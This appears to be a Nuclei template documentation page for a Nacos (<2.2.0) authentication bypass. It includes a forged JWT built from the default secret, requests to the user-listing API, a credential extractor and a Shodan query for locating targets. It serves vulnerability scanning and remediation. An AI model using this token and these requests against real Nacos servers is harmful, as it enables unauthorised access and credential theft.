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Nuclei Templates

Nacos < 2.2.0 - Authentication Bypass

ID: nacos-authentication-bypass

Severity: critical

Author: Esonhugh

Tags: auth-bypass,nacos,misconfig,jwt

Description

Section titled “Description”

The authentication function of Nacos is can be bypass through default JWT secret.

YAML Source

Section titled “YAML Source”
id: nacos-authentication-bypass


info:
  name: Nacos < 2.2.0 - Authentication Bypass
  author: Esonhugh
  severity: critical
  description: |
    The authentication function of Nacos is can be bypass through default JWT secret.
  remediation: Change value of jwt secret in the configurations
  reference:
    - https://github.com/alibaba/nacos/issues/10060
    - https://avd.aliyun.com/detail?id=AVD-2023-1655789
    - https://nacos.io/zh-cn/docs/auth.html
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Nacos"
    product: nacos
    vendor: alibaba
  tags: auth-bypass,nacos,misconfig,jwt


variables:
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g


http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"username":'
          - '"password":'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200


    extractors:
      - type: json
        part: body
        name: extracted-credentials
        json:
          - ".pageItems[]"
# digest: 490a0046304402207f0a6e65c5d02b4daaf21a7f99c329990bd86b7f9adb4fb404a769522bfc9092022000d65bf6fac704c6e336be1a27d35ac35c6ce75f2640d878881a6b3635b94321:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/nacos-authentication-bypass.yaml"

View on Github